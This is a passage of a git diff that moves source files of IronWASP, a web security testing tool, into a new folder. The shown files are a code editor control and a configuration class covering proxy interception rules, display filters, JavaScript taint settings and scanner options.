CodeChars[CharPointer + i]) + { + FullMatch = false; + } + } + if (FullMatch) Read = false; + } + } + else + { + Read = true; + } + } + CharPointer++; + if (CharPointer >= CodeChars.Length) Read = false; + if (!Read) CharPointer--; + } + } + + bool IsCharMatch(char A, char B, char[] EscapableChars) + { + if (A == B) + { + if (CanBeEscaped(A, EscapableChars) && CharPointer > 0 && CodeChars[CharPointer - 1] == '\\') + { + return false; + } + else + { + return true; + } + } + return false; + } + + bool CanBeEscaped(char C, char[] EscapableChars) + { + foreach (char EC in EscapableChars) + { + if (C == EC) return true; + } + return false; + } + + public static List ToChars() + { + string Code = "a/*a"; + char[] Chars = Code.ToCharArray(); + List CharStr = new List(); + foreach (char c in Chars) + { + CharStr.Add(c.ToString()); + } + return CharStr; + } + } +} diff --git a/IronWASP/CodeTextBox.Designer.cs b/Iron/CodeTextBox.Designer.cs similarity index 97% rename from IronWASP/CodeTextBox.Designer.cs rename to Iron/CodeTextBox.Designer.cs index a445681..9c374fe 100644 --- a/IronWASP/CodeTextBox.Designer.cs +++ b/Iron/CodeTextBox.Designer.cs @@ -1,85 +1,85 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class CodeTextBox - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.Editor = new ICSharpCode.TextEditor.TextEditorControl(); - this.SuspendLayout(); - // - // Editor - // - this.Editor.ConvertTabsToSpaces = true; - this.Editor.Dock = System.Windows.Forms.DockStyle.Fill; - this.Editor.IsIconBarVisible = false; - this.Editor.Location = new System.Drawing.Point(0, 0); - this.Editor.Margin = new System.Windows.Forms.Padding(0); - this.Editor.Name = "Editor"; - this.Editor.ShowEOLMarkers = true; - this.Editor.ShowSpaces = true; - this.Editor.ShowTabs = true; - this.Editor.ShowVRuler = true; - this.Editor.Size = new System.Drawing.Size(200, 100); - this.Editor.TabIndent = 2; - this.Editor.TabIndex = 5; - // - // CodeTextBox - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.Controls.Add(this.Editor); - this.Margin = new System.Windows.Forms.Padding(0); - this.Name = "CodeTextBox"; - this.Size = new System.Drawing.Size(200, 100); - this.Load += new System.EventHandler(this.CodeTextBox_Load); - this.ResumeLayout(false); - - } - - #endregion - - internal ICSharpCode.TextEditor.TextEditorControl Editor; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class CodeTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.Editor = new ICSharpCode.TextEditor.TextEditorControl(); + this.SuspendLayout(); + // + // Editor + // + this.Editor.ConvertTabsToSpaces = true; + this.Editor.Dock = System.Windows.Forms.DockStyle.Fill; + this.Editor.IsIconBarVisible = false; + this.Editor.Location = new System.Drawing.Point(0, 0); + this.Editor.Margin = new System.Windows.Forms.Padding(0); + this.Editor.Name = "Editor"; + this.Editor.ShowEOLMarkers = true; + this.Editor.ShowSpaces = true; + this.Editor.ShowTabs = true; + this.Editor.ShowVRuler = true; + this.Editor.Size = new System.Drawing.Size(200, 100); + this.Editor.TabIndent = 2; + this.Editor.TabIndex = 5; + // + // CodeTextBox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.Editor); + this.Margin = new System.Windows.Forms.Padding(0); + this.Name = "CodeTextBox"; + this.Size = new System.Drawing.Size(200, 100); + this.Load += new System.EventHandler(this.CodeTextBox_Load); + this.ResumeLayout(false); + + } + + #endregion + + internal ICSharpCode.TextEditor.TextEditorControl Editor; + } +} diff --git a/IronWASP/CodeTextBox.cs b/Iron/CodeTextBox.cs similarity index 96% rename from IronWASP/CodeTextBox.cs rename to Iron/CodeTextBox.cs index b9e3f6b..c0c9ffc 100644 --- a/IronWASP/CodeTextBox.cs +++ b/Iron/CodeTextBox.cs @@ -1,150 +1,150 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class CodeTextBox : UserControl - { - int langCode = 1; - - public CodeTextBox() - { - InitializeComponent(); - } - - public override string Text - { - get - { - return Editor.Text; - } - set - { - Editor.Text = value; - Editor.Refresh(); - } - } - - public bool ReadOnly - { - get - { - return Editor.Document.ReadOnly; - } - set - { - Editor.Document.ReadOnly = value; - } - } - - public bool ShowLineNumbers - { - get - { - return Editor.ShowLineNumbers; - } - set - { - Editor.ShowLineNumbers = value; - } - } - - public bool ShowSpacesAndTabs - { - get - { - return Editor.ShowTabs; - } - set - { - Editor.ShowSpaces = value; - Editor.ShowTabs = value; - } - } - - public int LangCode - { - get - { - return this.langCode; - } - set - { - this.langCode = value; - - try - { - if (this.LangCode == 1) - Editor.SetHighlighting("Python"); - else - Editor.SetHighlighting("Ruby"); - } - catch (Exception Exp) - { - IronException.Report("Unable to set Syntax Highlighting", Exp); - } - } - } - - public delegate void ValueChangedEvent(); - - public event ValueChangedEvent ValueChanged; - - private void CodeTextBox_Load(object sender, EventArgs e) - { - Editor.ShowTabs = false; - Editor.ShowEOLMarkers = false; - Editor.ShowSpaces = false; - Editor.ShowInvalidLines = false; - Editor.TabIndent = 2; - try - { - if (this.LangCode == 1) - Editor.SetHighlighting("Python"); - else - Editor.SetHighlighting("Ruby"); - } - catch(Exception Exp) - { - IronException.Report("Unable to set Syntax Highlighting", Exp); - } - - Editor.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(Editor_KeyUp); - } - - void Editor_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Up || e.KeyData == Keys.Down || e.KeyData == Keys.Left || e.KeyData == Keys.Right || e.KeyData == Keys.PageUp || e.KeyData == Keys.PageDown || e.KeyData == Keys.Home || e.KeyData == Keys.End || e.KeyData == Keys.CapsLock || e.KeyData == Keys.LWin || e.KeyData == Keys.RWin) - { - return; - } - if (ValueChanged != null) - { - ValueChanged(); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class CodeTextBox : UserControl + { + int langCode = 1; + + public CodeTextBox() + { + InitializeComponent(); + } + + public override string Text + { + get + { + return Editor.Text; + } + set + { + Editor.Text = value; + Editor.Refresh(); + } + } + + public bool ReadOnly + { + get + { + return Editor.Document.ReadOnly; + } + set + { + Editor.Document.ReadOnly = value; + } + } + + public bool ShowLineNumbers + { + get + { + return Editor.ShowLineNumbers; + } + set + { + Editor.ShowLineNumbers = value; + } + } + + public bool ShowSpacesAndTabs + { + get + { + return Editor.ShowTabs; + } + set + { + Editor.ShowSpaces = value; + Editor.ShowTabs = value; + } + } + + public int LangCode + { + get + { + return this.langCode; + } + set + { + this.langCode = value; + + try + { + if (this.LangCode == 1) + Editor.SetHighlighting("Python"); + else + Editor.SetHighlighting("Ruby"); + } + catch (Exception Exp) + { + IronException.Report("Unable to set Syntax Highlighting", Exp); + } + } + } + + public delegate void ValueChangedEvent(); + + public event ValueChangedEvent ValueChanged; + + private void CodeTextBox_Load(object sender, EventArgs e) + { + Editor.ShowTabs = false; + Editor.ShowEOLMarkers = false; + Editor.ShowSpaces = false; + Editor.ShowInvalidLines = false; + Editor.TabIndent = 2; + try + { + if (this.LangCode == 1) + Editor.SetHighlighting("Python"); + else + Editor.SetHighlighting("Ruby"); + } + catch(Exception Exp) + { + IronException.Report("Unable to set Syntax Highlighting", Exp); + } + + Editor.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(Editor_KeyUp); + } + + void Editor_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyData == Keys.Up || e.KeyData == Keys.Down || e.KeyData == Keys.Left || e.KeyData == Keys.Right || e.KeyData == Keys.PageUp || e.KeyData == Keys.PageDown || e.KeyData == Keys.Home || e.KeyData == Keys.End || e.KeyData == Keys.CapsLock || e.KeyData == Keys.LWin || e.KeyData == Keys.RWin) + { + return; + } + if (ValueChanged != null) + { + ValueChanged(); + } + } + } +} diff --git a/Iron/CodeTextBox.resx b/Iron/CodeTextBox.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/CodeTextBox.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/Config.cs b/Iron/Config.cs similarity index 97% rename from IronWASP/Config.cs rename to Iron/Config.cs index 25baeec..370318b 100644 --- a/IronWASP/Config.cs +++ b/Iron/Config.cs @@ -1,547 +1,555 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Reflection; -using System.IO; -using System.Windows.Forms; -using System.Xml; - -namespace IronWASP -{ - public class Config - { - internal static int ScanCount = 0; - internal static int ActiveScansCount = 0; - internal static int ProxyRequestsCount = 0; - internal static int TestRequestsCount = 0; - internal static int ScanRequestsCount = 0; - internal static int ShellRequestsCount = 0; - internal static int ProbeRequestsCount = 0; - internal static int StealthRequestsCount = 0; - internal static int PluginResultCount = 0; - internal static int ExceptionsCount = 0; - internal static int TraceCount = 0; - internal static int ScanTraceCount = 0; - internal static int SessionPluginTraceCount = 0; - - internal static Dictionary OtherSourceCounterDict = new Dictionary(); - - //internal static Dictionary APIResponseDict = new Dictionary(); - internal static bool OpeningIronProjectFile = false; - internal static string RootDir = ""; - internal static bool BlinkPrompt = true; - - public static Dictionary> UserAgentsList = new Dictionary>(); - - static Dictionary FiddlerFlags = new Dictionary(); - internal static bool HasFiddlerFlags = false; - - public static string Path - { - get - { - return RootDir; - } - } - - public static int LastProxyLogId - { - get - { - return ProxyRequestsCount; - } - } - - public static int LastProbeLogId - { - get - { - return ProbeRequestsCount; - } - } - public static int LastShellLogId - { - get - { - return ShellRequestsCount; - } - } - public static int LastScanLogId - { - get - { - return ScanRequestsCount; - } - } - public static int LastTestLogId - { - get - { - return TestRequestsCount; - } - } - internal static int LastScanTraceId - { - get - { - return ScanTraceCount; - } - } - - internal static bool IsSourcePresent(string Source) - { - if (OtherSourceCounterDict.ContainsKey(Source)) - return true; - else - return false; - } - - internal static List GetOtherSourceList() - { - return new List(OtherSourceCounterDict.Keys); - } - - internal static int GetNewId(string Source) - { - int Result = 0; - lock(OtherSourceCounterDict) - { - if (!OtherSourceCounterDict.ContainsKey(Source)) - OtherSourceCounterDict[Source] = 0; - OtherSourceCounterDict[Source]++; - Result = OtherSourceCounterDict[Source]; - } - return Result; - } - - public static int GetLastLogId(string Source) - { - switch (Source) - { - case("Proxy"): - return LastProxyLogId; - case ("Probe"): - return LastProbeLogId; - case ("Test"): - return LastTestLogId; - case ("Shell"): - return LastShellLogId; - case ("Scan"): - return LastScanLogId; - default: - if (OtherSourceCounterDict.ContainsKey(Source)) - return OtherSourceCounterDict[Source]; - else - throw new Exception(string.Format("No logs available for source - {0}", Source)); - } - - } - - public static void SetFiddlerFlag(string Name, string Value) - { - if (Name.Equals("x-overrideGateway")) - { - throw new Exception("'x-overrideGateway' can only be set by updating the Upstream Proxy setting in UI"); - } - lock (FiddlerFlags) - { - FiddlerFlags[Name] = Value; - HasFiddlerFlags = (FiddlerFlags.Count > 0); - } - } - - public static List ListFiddlerFlags() - { - lock (FiddlerFlags) - { - return new List(FiddlerFlags.Keys); - } - } - - public static string[,] GetFiddlerFlags() - { - lock (FiddlerFlags) - { - string[,] Flags = new string[FiddlerFlags.Count, 2]; - int Index = 0; - foreach (string Name in FiddlerFlags.Keys) - { - Flags[Index, 0] = Name; - Flags[Index, 1] = FiddlerFlags[Name]; - Index++; - } - return Flags; - } - } - - public static string GetFiddlerFlag(string Name) - { - lock (FiddlerFlags) - { - if (FiddlerFlags.ContainsKey(Name)) - return FiddlerFlags[Name]; - else - return ""; - } - } - - public static void RemoveFiddlerFlag(string Name) - { - lock(FiddlerFlags) - { - if (FiddlerFlags.ContainsKey(Name)) FiddlerFlags.Remove(Name); - HasFiddlerFlags = (FiddlerFlags.Count > 0); - } - } - - internal static void UpdateInterceptionRulesFromUI() - { - IronProxy.InterceptGET = IronUI.UI.ConfigRuleGETMethodCB.Checked; - IronProxy.InterceptPOST = IronUI.UI.ConfigRulePOSTMethodCB.Checked; - IronProxy.InterceptOtherMethods = IronUI.UI.ConfigRuleOtherMethodsCB.Checked; - IronProxy.Intercept200 = IronUI.UI.ConfigRuleCode200CB.Checked; - IronProxy.Intercept2xx = IronUI.UI.ConfigRuleCode2xxCB.Checked; - IronProxy.Intercept301_2 = IronUI.UI.ConfigRuleCode301_2CB.Checked; - IronProxy.Intercept3xx = IronUI.UI.ConfigRuleCode3xxCB.Checked; - IronProxy.Intercept403 = IronUI.UI.ConfigRuleCode403CB.Checked; - IronProxy.Intercept4xx = IronUI.UI.ConfigRuleCode4xxCB.Checked; - IronProxy.Intercept500 = IronUI.UI.ConfigRuleCode500CB.Checked; - IronProxy.Intercept5xx = IronUI.UI.ConfigRuleCode5xxCB.Checked; - IronProxy.InterceptHTML = IronUI.UI.ConfigRuleContentHTMLCB.Checked; - IronProxy.InterceptCSS = IronUI.UI.ConfigRuleContentCSSCB.Checked; - IronProxy.InterceptJS = IronUI.UI.ConfigRuleContentJSCB.Checked; - IronProxy.InterceptXML = IronUI.UI.ConfigRuleContentXMLCB.Checked; - IronProxy.InterceptJSON = IronUI.UI.ConfigRuleContentJSONCB.Checked; - IronProxy.InterceptOtherText = IronUI.UI.ConfigRuleContentOtherTextCB.Checked; - IronProxy.InterceptImg = IronUI.UI.ConfigRuleContentImgCB.Checked; - IronProxy.InterceptOtherBinary = IronUI.UI.ConfigRuleContentOtherBinaryCB.Checked; - IronProxy.InterceptCheckHostNames = IronUI.UI.ConfigRuleHostNamesCB.Checked; - IronProxy.InterceptCheckHostNamesPlus = IronUI.UI.ConfigRuleHostNamesPlusRB.Checked; - IronProxy.InterceptCheckHostNamesMinus = IronUI.UI.ConfigRuleHostNamesMinusRB.Checked; - if (IronProxy.InterceptCheckHostNames) - { - if (IronProxy.InterceptCheckHostNamesPlus) - { - string[] HostNames = IronUI.UI.ConfigRuleHostNamesPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.InterceptHostNames) - { - IronProxy.InterceptHostNames.Clear(); - IronProxy.InterceptHostNames.AddRange(HostNames); - } - } - if (IronProxy.InterceptCheckHostNamesMinus) - { - string[] HostNames = IronUI.UI.ConfigRuleHostNamesMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DontInterceptHostNames) - { - IronProxy.DontInterceptHostNames.Clear(); - IronProxy.DontInterceptHostNames.AddRange(HostNames); - } - } - } - IronProxy.InterceptCheckFileExtensions = IronUI.UI.ConfigRuleFileExtensionsCB.Checked; - IronProxy.InterceptCheckFileExtensionsPlus = IronUI.UI.ConfigRuleFileExtensionsPlusRB.Checked; - IronProxy.InterceptCheckFileExtensionsMinus = IronUI.UI.ConfigRuleFileExtensionsMinusRB.Checked; - if (IronProxy.InterceptCheckFileExtensions) - { - if (IronProxy.InterceptCheckFileExtensionsPlus) - { - string[] FileExtensions = IronUI.UI.ConfigRuleFileExtensionsPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.InterceptFileExtensions) - { - IronProxy.InterceptFileExtensions.Clear(); - IronProxy.InterceptFileExtensions.AddRange(FileExtensions); - } - } - if (IronProxy.InterceptCheckFileExtensionsMinus) - { - string[] FileExtensions = IronUI.UI.ConfigRuleFileExtensionsMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DontInterceptFileExtensions) - { - IronProxy.DontInterceptFileExtensions.Clear(); - IronProxy.DontInterceptFileExtensions.AddRange(FileExtensions); - } - } - } - IronProxy.InterceptCheckRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestCB.Checked; - IronProxy.InterceptCheckRequestWithKeywordPlus = IronUI.UI.ConfigRuleKeywordInRequestPlusRB.Checked; - IronProxy.InterceptCheckRequestWithKeywordMinus = IronUI.UI.ConfigRuleKeywordInRequestMinusRB.Checked; - if (IronProxy.InterceptCheckRequestWithKeyword) - { - if (IronProxy.InterceptCheckRequestWithKeywordPlus) - { - lock (IronProxy.InterceptRequestWithKeyword) - { - IronProxy.InterceptRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestPlusTB.Text; - } - } - if (IronProxy.InterceptCheckRequestWithKeywordMinus) - { - lock (IronProxy.DontInterceptRequestWithKeyword) - { - IronProxy.DontInterceptRequestWithKeyword = IronUI.UI.ConfigRuleKeywordInRequestMinusTB.Text; - } - } - } - IronProxy.InterceptCheckResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponseCB.Checked; - IronProxy.InterceptCheckResponseWithKeywordPlus = IronUI.UI.ConfigRuleKeywordInResponsePlusRB.Checked; - IronProxy.InterceptCheckResponseWithKeywordMinus = IronUI.UI.ConfigRuleKeywordInResponseMinusRB.Checked; - if (IronProxy.InterceptCheckResponseWithKeyword) - { - if (IronProxy.InterceptCheckResponseWithKeywordPlus) - { - lock (IronProxy.InterceptResponseWithKeyword) - { - IronProxy.InterceptResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponsePlusTB.Text; - } - } - if (IronProxy.InterceptCheckResponseWithKeywordMinus) - { - lock (IronProxy.DontInterceptResponseWithKeyword) - { - IronProxy.DontInterceptResponseWithKeyword = IronUI.UI.ConfigRuleKeywordInResponseMinusTB.Text; - } - } - } - - IronProxy.RequestRulesOnResponse = IronUI.UI.ConfigRuleRequestOnResponseRulesCB.Checked; - } - - internal static void UpdateProxyLogDisplayFilterFromUI() - { - IronProxy.DisplayGET = IronUI.UI.ConfigDisplayRuleGETMethodCB.Checked; - IronProxy.DisplayPOST = IronUI.UI.ConfigDisplayRulePOSTMethodCB.Checked; - IronProxy.DisplayOtherMethods = IronUI.UI.ConfigDisplayRuleOtherMethodsCB.Checked; - IronProxy.Display200 = IronUI.UI.ConfigDisplayRuleCode200CB.Checked; - IronProxy.Display2xx = IronUI.UI.ConfigDisplayRuleCode2xxCB.Checked; - IronProxy.Display301_2 = IronUI.UI.ConfigDisplayRuleCode301_2CB.Checked; - IronProxy.Display3xx = IronUI.UI.ConfigDisplayRuleCode3xxCB.Checked; - IronProxy.Display403 = IronUI.UI.ConfigDisplayRuleCode403CB.Checked; - IronProxy.Display4xx = IronUI.UI.ConfigDisplayRuleCode4xxCB.Checked; - IronProxy.Display500 = IronUI.UI.ConfigDisplayRuleCode500CB.Checked; - IronProxy.Display5xx = IronUI.UI.ConfigDisplayRuleCode5xxCB.Checked; - IronProxy.DisplayHTML = IronUI.UI.ConfigDisplayRuleContentHTMLCB.Checked; - IronProxy.DisplayCSS = IronUI.UI.ConfigDisplayRuleContentCSSCB.Checked; - IronProxy.DisplayJS = IronUI.UI.ConfigDisplayRuleContentJSCB.Checked; - IronProxy.DisplayXML = IronUI.UI.ConfigDisplayRuleContentXMLCB.Checked; - IronProxy.DisplayJSON = IronUI.UI.ConfigDisplayRuleContentJSONCB.Checked; - IronProxy.DisplayOtherText = IronUI.UI.ConfigDisplayRuleContentOtherTextCB.Checked; - IronProxy.DisplayImg = IronUI.UI.ConfigDisplayRuleContentImgCB.Checked; - IronProxy.DisplayOtherBinary = IronUI.UI.ConfigDisplayRuleContentOtherBinaryCB.Checked; - IronProxy.DisplayCheckHostNames = IronUI.UI.ConfigDisplayRuleHostNamesCB.Checked; - IronProxy.DisplayCheckHostNamesPlus = IronUI.UI.ConfigDisplayRuleHostNamesPlusRB.Checked; - IronProxy.DisplayCheckHostNamesMinus = IronUI.UI.ConfigDisplayRuleHostNamesMinusRB.Checked; - if (IronProxy.DisplayCheckHostNames) - { - if (IronProxy.DisplayCheckHostNamesPlus) - { - string[] HostNames = IronUI.UI.ConfigDisplayRuleHostNamesPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DisplayHostNames) - { - IronProxy.DisplayHostNames.Clear(); - IronProxy.DisplayHostNames.AddRange(HostNames); - } - } - if (IronProxy.DisplayCheckHostNamesMinus) - { - string[] HostNames = IronUI.UI.ConfigDisplayRuleHostNamesMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DontDisplayHostNames) - { - IronProxy.DontDisplayHostNames.Clear(); - IronProxy.DontDisplayHostNames.AddRange(HostNames); - } - } - } - IronProxy.DisplayCheckFileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsCB.Checked; - IronProxy.DisplayCheckFileExtensionsPlus = IronUI.UI.ConfigDisplayRuleFileExtensionsPlusRB.Checked; - IronProxy.DisplayCheckFileExtensionsMinus = IronUI.UI.ConfigDisplayRuleFileExtensionsMinusRB.Checked; - if (IronProxy.DisplayCheckFileExtensions) - { - if (IronProxy.DisplayCheckFileExtensionsPlus) - { - string[] FileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DisplayFileExtensions) - { - IronProxy.DisplayFileExtensions.Clear(); - IronProxy.DisplayFileExtensions.AddRange(FileExtensions); - } - } - if (IronProxy.DisplayCheckFileExtensionsMinus) - { - string[] FileExtensions = IronUI.UI.ConfigDisplayRuleFileExtensionsMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); - lock (IronProxy.DontDisplayFileExtensions) - { - IronProxy.DontDisplayFileExtensions.Clear(); - IronProxy.DontDisplayFileExtensions.AddRange(FileExtensions); - } - } - } - IronUI.UpdateProxyLogBasedOnDisplayFilter(); - } - - internal static void UpdateJSTaintConfigFromUI() - { - List SourceObjects = new List(); - List SinkObjects = new List(); - List SourceReturningMethods = new List() { }; - List SinkReturningMethods = new List() { }; - List ArgumentReturningMethods = new List() { }; - List ArgumentAssignedToSinkMethods = new List(); - List ArgumentAssignedASourceMethods = new List() { }; - - foreach (DataGridViewRow Row in IronUI.UI.ConfigDefaultJSTaintConfigGrid.Rows) - { - if (Row == null) continue; - if (Row.Cells == null) continue; - if (Row.Cells.Count < 7) continue; - if (Row.Cells["ConfigDefaultSourceObjectsColumn"].Value != null) - { - string SourceObject = Row.Cells["ConfigDefaultSourceObjectsColumn"].Value.ToString().Trim(); - if (SourceObject.Length > 0) SourceObjects.Add(SourceObject); - } - if (Row.Cells["ConfigDefaultSinkObjectsColumn"].Value != null) - { - string SinkObject = Row.Cells["ConfigDefaultSinkObjectsColumn"].Value.ToString().Trim(); - if (SinkObject.Length > 0) SinkObjects.Add(SinkObject); - } - if (Row.Cells["ConfigDefaultArgumentAssignedASourceMethodsColumn"].Value != null) - { - string ArgumentAssignedASourceMethod = Row.Cells["ConfigDefaultArgumentAssignedASourceMethodsColumn"].Value.ToString().Trim(); - if (ArgumentAssignedASourceMethod.Length > 0) ArgumentAssignedASourceMethods.Add(ArgumentAssignedASourceMethod); - } - if (Row.Cells["ConfigDefaultArgumentAssignedToSinkMethodsColumn"].Value != null) - { - string ArgumentAssignedToSinkMethod = Row.Cells["ConfigDefaultArgumentAssignedToSinkMethodsColumn"].Value.ToString().Trim(); - if (ArgumentAssignedToSinkMethod.Length > 0) ArgumentAssignedToSinkMethods.Add(ArgumentAssignedToSinkMethod); - } - if (Row.Cells["ConfigDefaultSourceReturningMethodsColumn"].Value != null) - { - string SourceReturningMethod = Row.Cells["ConfigDefaultSourceReturningMethodsColumn"].Value.ToString().Trim(); - if (SourceReturningMethod.Length > 0) SourceReturningMethods.Add(SourceReturningMethod); - } - if (Row.Cells["ConfigDefaultSinkReturningMethodsColumn"].Value != null) - { - string SinkReturningMethod = Row.Cells["ConfigDefaultSinkReturningMethodsColumn"].Value.ToString().Trim(); - if (SinkReturningMethod.Length > 0) SinkReturningMethods.Add(SinkReturningMethod); - } - if (Row.Cells["ConfigDefaultArgumentReturningMethodsColumn"].Value != null) - { - string ArgumentReturningMethod = Row.Cells["ConfigDefaultArgumentReturningMethodsColumn"].Value.ToString().Trim(); - if (ArgumentReturningMethod.Length > 0) ArgumentReturningMethods.Add(ArgumentReturningMethod); - } - } - lock (IronJint.DefaultSourceObjects) - { - IronJint.DefaultSourceObjects = new List(SourceObjects); - } - lock (IronJint.DefaultSinkObjects) - { - IronJint.DefaultSinkObjects = new List(SinkObjects); - } - lock (IronJint.DefaultArgumentAssignedASourceMethods) - { - IronJint.DefaultArgumentAssignedASourceMethods = new List(ArgumentAssignedASourceMethods); - } - lock (IronJint.DefaultArgumentAssignedToSinkMethods) - { - IronJint.DefaultArgumentAssignedToSinkMethods = new List(ArgumentAssignedToSinkMethods); - } - lock (IronJint.DefaultSourceReturningMethods) - { - IronJint.DefaultSourceReturningMethods = new List(SourceReturningMethods); - } - lock (IronJint.DefaultSinkReturningMethods) - { - IronJint.DefaultSinkReturningMethods = new List(SinkReturningMethods); - } - lock (IronJint.DefaultArgumentReturningMethods) - { - IronJint.DefaultArgumentReturningMethods = new List(ArgumentReturningMethods); - } - } - - internal static void UpdateScannerSettingsFromUI() - { - Scanner.MaxParallelScanCount = IronUI.UI.ConfigScannerThreadMaxCountTB.Value; - } - - internal static void UpdatePassiveAnalysisSettingsFromUI() - { - PassiveChecker.RunOnProxyTraffic = IronUI.UI.ConfigPassiveAnalysisOnProxyTrafficCB.Checked; - PassiveChecker.RunOnShellTraffic = IronUI.UI.ConfigPassiveAnalysisOnShellTrafficCB.Checked; - PassiveChecker.RunOnTestTraffic = IronUI.UI.ConfigPassiveAnalysisOnTestTrafficCB.Checked; - PassiveChecker.RunOnScanTraffic = IronUI.UI.ConfigPassiveAnalysisOnScanTrafficCB.Checked; - PassiveChecker.RunOnProbeTraffic = IronUI.UI.ConfigPassiveAnalysisOnProbeTrafficCB.Checked; - } - - internal static void SetRootDir() - { - Assembly MainAssembly = Assembly.GetExecutingAssembly(); - RootDir = Directory.GetParent(MainAssembly.Location).FullName; - } - - internal static void ReadUserAgentsList() - { - try - { - XmlDocument UAL = new XmlDocument(); - UAL.XmlResolver = null; - UAL.Load(string.Format("{0}//useragentswitcher.xml", 